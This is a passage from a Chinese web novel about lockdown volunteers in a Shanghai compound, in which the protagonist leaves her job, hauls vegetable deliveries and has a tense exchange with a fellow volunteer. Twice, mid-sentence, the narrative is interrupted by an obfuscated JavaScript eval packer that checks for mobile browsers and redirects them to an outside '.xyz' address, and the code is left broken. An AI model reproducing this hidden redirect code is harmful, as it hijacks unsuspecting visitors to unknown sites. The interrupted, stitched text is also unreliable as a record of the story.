花泽类队长自言自语道,他吃得怎么样不知道,反正我用火腿肠煮了面条,掉色有点严重啊,汤都是粉红色了。 季节哈地一声大笑起来,最终还是被小条拉走了。两人一路跑到某条小巷子里,发现路边停着一辆自行车,车筐里还有一把喷壶。季节背着手详细看了一会儿,说:“这好像是一个志愿者大哥送货用的。” 小条长腿一迈,跨坐在自行车上,拎起喷壶,掂了两下。季节真诚地建议道:“你可以骑这个在三街坊里绕场,一边向四周喷消毒水。” 他笑了出来,摇头说:“我不做这种猥琐的事。” 季节惋惜地说:“我要是会骑车,我就这么干。” “最近还饿吗?有没有再饿哭?”他调侃地看着季节,“这几天又组织订蔬菜包,两次,你订了没?” “没有,两次报名我都错过了,当时在忙着做底稿。”季节苦涩地回答道,“还好我能刷快闪外卖,网上抢菜是从来没抢到过。” “还忙着干活?”他拍了一下季节的头,“站好最后一班岗哦,够负责。” 季节长长地呼出一口气,说:“今天,是我lastday。” 小条又拍了一下她的头:“逃离不喜欢的地方,还不好?” “好好好。”季节向大门口张望,已经过去将近五分钟,991的货架依旧没有新的包裹到来,这是前所未有的奇观,大概是这几天又发物资又订蔬菜包,大大缓解了居民找饭压力。 “羡慕你逃了。”小条将喷壶放回车筐,“昨天白天我出来接蔬菜包,回去加班到半夜。” “经常加班也太苦了点,条儿,注意保养。”顿了顿,季节小心翼翼地问了一句,“昨天白天你出来干活了?” 她的心中泛起一阵淡淡的失望。他出来接货,却没有叫她一起。尽管本市每日确诊数字惊人,解封遥遥无期,却也终有竟时。谁知道解封后他们还会不会再见面呢?因此在解封之前,每一次同处都像是纪念,她以为小条应该和她一样珍惜。 他歪头看了看季节,轻声说:“怕你搬不动,所以没叫你。昨天的蔬菜包很沉的,每个有三四十斤。” “是吗?”季节一下又高兴起来,“这么沉?你又进到车里往外传吗?其实你身上长的是机械伸缩手臂?” “去去去。”他下了自行车,领着她走回到大门口,“找个人替一下大门口的活,你来帮我计数。” “计数?”季节一时没有反应过来。 “今晚,又有一批蔬菜包到了。”他回头望了她一眼,“这次带你。” “来了!”季节笑嘻嘻地跟在他身边,连蹦带跳,动若脱兔。隔壁几个货架的志愿者来多了,正好借调两人过来,替换季节和小条。 专门来协助接蔬菜包的志愿者也陆续到场,四处搜刮板车,大门口一时间热闹非凡,规模仅次于发政府物资那天。一行人出了大门口,远远地看见卡车过来了。 车厢三面围板往下一放,开始卸货。一包一包的塑料袋,装了满满一车,如同山坡。袋子里有各色蔬菜肉类,季节心痛了一下,后悔自己因沉浸工作而错时订购良机。 小条一人跳上车,马克站在下边,与他珠联璧合地传递着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270456|182274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个一个大包经由马克之手,传给板车边的壮汉,季节负责计数。 后来时间紧促,几个人一哄而上,踮脚从车厢上抓出几包,放上板车时各自报数,由本杰明负责把这些数加起来。这时季节也已经加入了抓大包的队伍,本杰明来接替她计数。 每个人都在尽量多捧几个大包下来,季节一次拿了四个,报数“四”,马克一次拿了七个,报数“七”。一辆板车堆满,大家便自动转移至下一辆,本杰明三头六臂地计数,不时紧张地大叫一声:“你们两个!一个一个报!”原来那两人报数声音撞在一起。 几辆板车往返无数趟,最终本杰明大喊够了够了,于是几人都涌进大门去,加入分配的队伍,将堆在大门里的汪洋大包按配额运送至各个弄。小条与卡车随行人员确认签字,送走卡车后立即回来,目光搜寻着季节。季节对他招了招手,就去配货了。 板车和自行车都上阵,还有不少人徒手拎着大包,送到各个弄的空地上,再由弄中各楼的楼长想办法带回去。 来沪之前,季节从不知道小区中的一个弄其实是一大片楼的合集,而非一条小胡同。好在并非每户都订购蔬菜包,因此满地大包的规模尚小于政府物资。 季节捞不到板车,也加入拎大包的行列,从爷爷山出发,一次拎两袋大踏步走到爹爹山,如此循环往复,直到那个弄的负责人宣布孙子已够,就再拎去下一个弄的地界。许多穿着小蓝衣的身影交错往来,如果上苍俯视人间,是否会观赏着三街坊上演的皮影戏。 小条留在门口接收快递外卖,尽职尽责地消毒和记录,不时拖着车出去送一趟,一个人就是一个团队。晚班如常进行着,与蔬菜包这一条业务线互相平行,组织架构相当科学。 忙完以后,恰好九点整。大家收摊,脱衣,互相消杀,愉快离去。小条留到最后,整理着记录单,把它们留在货架上,等待门卫大叔收去卖废纸。季节惊奇地问:“原来咱们的记录单从来都不留着吗?” 他笑出声来,说:“在你们事务所看来完全不合规,是吧?工作底稿竟然不留档,有问题啊。” 季节嘿嘿一笑,略微伤感地想到过了今晚,自己就不再是事务所高级税务咨询顾问。这唬人的名号,连带着种种痛苦或快乐的记忆,都将要告一段落。 地上还堆了几个蔬菜包,是卡车上的人友情赠送的,说如果谁家的蔬菜包有破损或缺漏,可以用这几包补偿。不过志愿者队伍水平过高,没有破坏任何一包。 小条叫住几个还没走的志愿者,叫他们原地瓜分,又自己拎起一包,双手递给季节:“给,拿回去吧。” 季节睁着眼睛,摇头推辞道:“我就不拿了,你带回去吧!” 小条却还是交给了她:“我都订了。干到这么晚不容易,拿上吧。” 季节接过来,看着地上剩余的几个大包,喃喃自语:“我们的OT。” “哈。”小条顿时笑倒,像傻狍子一样重复道,“哎,我们的OT!” “……” 回来洗澡洗衣,收拾完毕,季节破天荒地没有躺倒,而是坐在书桌前。职业生涯的最后一天,就这样热闹喧嚣地度过,而现在,一切都安静了,季节感到了怅然若失的孤独。 辞职时,与季节感情深厚的几个同事曾一起设想,离别那天会不会嚎啕大哭?没想到离别是在一个互不谋面的封城的夜里静静发生。 邮箱里有一封早就编辑好的告别信,按照事务所惯例,应在最后一天点出去。也正是由此引申出辞职的另两种叫法:交信,点了。忙季时,所里人人都身心俱焚,在工区碰到熟人,彼此的问候通常是,你怎么还不交信?我都准备点了。 点了以后,季节看着窗外那闪烁至深夜的霓虹大厦。正在播放《淡水暮色》的手机,忽然弹出一条消息:离职快乐。 14. 游戏搭子 小条发来的离职祝福,以及熬夜同事们对告别信的回复,为季节的职业道路画上句号。第二天早上起来时,工作账号已经停用,手提电脑也就无法开机,季节将它束之高阁,等待解封后归还至公司。 卸下重担以后,面前呈现的是更为长久的茫然。突然不用再背活,也不用再被经理恩威并施、以八比一的比例打巴掌给蜜枣,季节觉得自己像因故临时退休的人,可以做一万件事却不知从何做起。又想起一篇描写当年国企下岗潮的文章里提到,很多工人下岗后还照常骑自行车去单位上班,然后才想起自己已经失业,只能绕厂子一圈一圈地骑着…… 她翻看着昨晚同事们的回信,大家约定毕业快乐、前程似锦、来日再见,每一封回信都被她转发到私人邮箱留念。伤感的惜别之情,在陋室中弥漫。 离职像一道分隔符,从此季节不再每天踏进稳定的同事圈子,不再与那几个熟悉的温暖的同事合作。并且,她需要钱。如果不找到一份新的工作,那点低保户一般的存款会像沙漏里的沙子一样流逝。置身于如此迫在眉睫的生存漩涡里,她依旧不想重操旧业,而是准备成为一名自由舞蹈教师。 不知是这世界挑战了她,还是她在挑战这个世界。总之,季节苦中作乐地认为,这也算大学生自主创业了。 后来,轮到一号楼下去做核酸,104照例带头组织,季节和502挨家敲门提醒,走廊里喧嚣躁动,狗都叫了起来。 除季节每天外出当班时扔垃圾,其余住户都自觉地攒着垃圾,趁两天一次的核酸时带下楼,每人都拎着几兜。为隔绝病毒,隔壁阿姨用纱巾包住整个头,502的渔夫帽和护目镜则是一直焊在头上没摘过,人人五花八门,如同品种变异。 半路上遇到居委的老师,她手里拿着一把浇花用的巴掌大的喷壶,边走边对着四周的空气喷酒精。季节内心惊呼,想象中的方案还真的落地了。 核酸后回到家中,不久就在楼栋群里收到居委老师发来的视频。视频以第一视角记录了一只手拿着小喷壶向两边喷洒酒精的画面,天大地大,树茂楼阔,一把小喷壶发出的微弱的水丝,细密地渗入了世界中,就像一根雨丝落入土壤那样无声无息。 但楼栋群里的邻居们还是纷纷感谢和赞扬了居委老师。居委老师没说话,隔一会儿又将今日三街坊确诊报告发了出来,统计的是截止到昨夜24时的数据。若干新增确诊,已转入方舱,又有若干人康复后自方舱回到三街坊,继续居家隔离,不参与楼下核酸,而是由专人上门检测。 大家唏嘘了一阵,又彼此鼓舞了一阵。一个瘦小的港台籍男邻居说,据说现在病毒变异,没有此前那么厉害了啦,就是大号流感啦,大家不要太害怕啦。 502说,新的抗原试剂盒发下来了,放在楼门口,我带上来放在大家的家门前,等会儿再开门拿!万一沾了病毒,先让它散一散。楼门口大家的快递,我也顺手带上来了。 楼栋群里响起了一阵对她的致谢,接着104大哥又将里弄志愿群里的“派送中”转发过来,引起了另一阵致谢。 港台男说,大家都是在哪里买到的食品喔?为什么还能有包裹送来?我也想买,我不忍心看我爱人吃火腿肠…… 他家的女主人是个高大冷静的女子,看到此条告白仍旧一言不发,倒是楼里其他人纷纷表示为这种甜蜜的爱情所感动。 像例行公事一样浏览和参与讨论后,季节感觉好了很多,将全天时间做了切分安排。上午研究打游戏的策略和技巧,中午烹饪蔬菜包里的宝贵食材,下午进行每三天一次的大扫除,然后把落地式晾衣架当成把杆,练了一会儿芭蕾基训。 空间实在是狭小极了。建筑面积不足三十平的一室一厅,留给卧室的只有回身的地方。一伸腿就把小桌蹬飞了,一抬手几乎能摸到头顶上低矮的吊顶。季节心里数着节奏练了几下,索然无味,也担心会把室内砸了,最后要赔偿房东,只好停止。 幸好这时,瓶子在王者荣耀升星俱乐部里问:季节今天做什么了? 季节对她说:我在重温《末代皇帝》这部电影,里面有一句台词,howcanwesaygoodbye?另一个人回答,aswesaidhello. 老D冒了出来,说:别太伤感,节哀,离了是好事。 瓶子劝季节不要焦虑,事已至此,不妨先打一局游戏。这时是下午四点,群里那几个恰好都闲着,最忙的老凤也暂时交出了报告,在等待经理审阅。于是五人进入线上会议室,一边交换封城背景下的种种传言和情报,一边登陆游戏。 只见开局界面上,五个青铜标签整整齐齐的,是游戏体系中最低的玩家级别。老盆感叹道,这游戏流行这么多年了,该玩的人都玩过了,现在能找出五个青铜新手凑一局也不容易了。 季节近来有所进益,不再死个不停,大大提升了这支队伍的战斗力。一轮输完后,季节返回游戏大厅,看到本杰明也在线。几人改变战略,由季节请来资深的本杰明参战,而王者荣耀升星俱乐部这边每次只派四个人上阵。几个狐朋狗友在会议室里激烈讨论,每一轮用排列组合的方式组队,企图控制变量,以研究到底是谁导致战败。最后结论是任意一种组合均可导致战败。 如此一来,五人之间更是谁也不嫌弃谁。本杰明并不参与到会议室里,只是无声地助战。几人在会议室里谈天说地,有种秘密地说悄悄话的快意。 打到将近五点,季节吃了一个馒头,准时下去当班。本杰明不是今晚的班,令季节十分遗憾,她本来总结了一些战术方法,想见面时跟本杰明讨论。 小条大步向季节走来时,已经是晚班的下半场。季节忙着往板车上堆货,他一边匆匆换上小蓝衣,一边对季节说:“今晚又加班,来晚了。” “没事,今晚来的人多,刚才他们在轮流跟我搭档。”季节脸上痒得难受,不停地铤而走险,用袖子抹开黏在额头上的碎发。 “别动。”他轻轻拨开季节的手,帮她拂去发丝,“都干了半天的活了,袖子上得有多少细菌病毒?就往脸上招呼。” 季节感受到他的指腹轻柔地划过自己的额头,抬起头来愣愣地看着他。剑眉之下,那双寒星一样的眼睛深深凝视着她,就像他们第一天初见时那样。 四目相对不过片刻,季节移开目光,口中虚张声势道:“看我干嘛,我要去送货了,你留下看门吧。” “哦。”他戴好手套,拿起货架上的纸笔,忽然弯下腰来说道,“我在看你额头中央的发际线有个向下的尖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270457|182274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像猴哦。” “去你的!”季节大怒。他呵呵笑着躲开,季节单手推着板车的推杆,迈着敦实的大步走远了。小号板车跟在她身侧滑行,像敞篷版的行李箱一样。 被他触碰过的地方还留有温暖的、略带粗粝的感觉,被凉风一吹,才轻飘飘地散去。 由于志愿者队伍新配备两辆电动三轮,送货压力被大大缓解。几个男志愿者驾驶三轮在小区内送货,敞开的后车厢里空间充足,每次装了一货架外加一地的包裹,尚且没有装满。 如果不是在这样的历史性场合下,季节根本不会发现三街坊人才辈出,平时在摩天大厦里工作的白领金领们原来还会开电三轮。 这会儿是今晚的淡季,男志愿者驾驶着电三轮回来后,沉默地偏了偏头,两个女志愿者一声不吭地跳上车厢,身手勇猛利落。男志愿者一脚油门,三轮驶向夜空,两个女生坐在车厢里吹风,沧桑地仰头,看着沿路老楼老树向后退去。 季节笑着看着他们开进小区深处。多么难得的自由时刻,仿佛是对这些无偿扛大包的年轻人的奖励。三街坊居民整体素质过硬,多次向志愿者队伍表达感谢。但也有人骂志愿者送货太慢,说他们明明是拿了工资和好处的,还不给我加急送。 还有人辛苦订来的食品不翼而飞,一口咬定是志愿者利用职权之便昧下了,后来发现是被人偷了。 小区里,已经发生了多起偷快递的案件。 季节回到小条身边,小条问道:“不用工作的感觉怎么样?” “还可以,还可以。”焦虑和烦躁又开始露出苗头,季节决定等到自由职业有眉目以后再详谈,“今天下午抽空打了几轮游戏,可惜还是全输了!” “找个男生带你打呀。”小条若无其事地看着大门外,轻声说了一句。 “是呀,我们就是有男有女的。”季节觉得他今天说话有点奇怪,老盆他们是男的,不也打得一样差?反倒是有两个女生朋友打得好,可惜这个月是季度结束之后,她们忙着出各类报表,没空玩游戏。 他愣了一下,才淡淡地说:“哦。” “本杰明今天下午就带我打了,真是好战友。”季节中肯地评价道,“他打得很好,走位变化多端,头脑也很灵活。” “那还一直输啊。” “……” 小条看起来冷冷的。季节察觉到他周围的空气像是上冻了,急忙就此打住。快递员飞驰至大门外,将几个编织袋放上991弄的货架,小条闷头接应。 待到他忙完,季节小心地说:“是不是我辞职以后的生活太清闲了,刺激到你了?你今天还是很忙吧?”有道是当着矮人不说短话,她有点后悔,方才应该说辞职休息一点也不好、都没钱花之类的。 “忙。”他头也不抬地答了一句,就去找来电三轮,闷闷地往后车厢里码货。季节也往上码:“你会开三轮吗?” 他恩了一声,跨上三轮就骑走了。 整个晚上,小条没再和季节说话。季节莫名其妙,见他爱搭不理,也就闭口不言,心想这小子难道会周期性自闭,就像刚认识那时候一样,现在大概是又到了曲线的下行部分。 让她没有想到的是,晚班结束时,小条径直离去,连一声再见也没有说。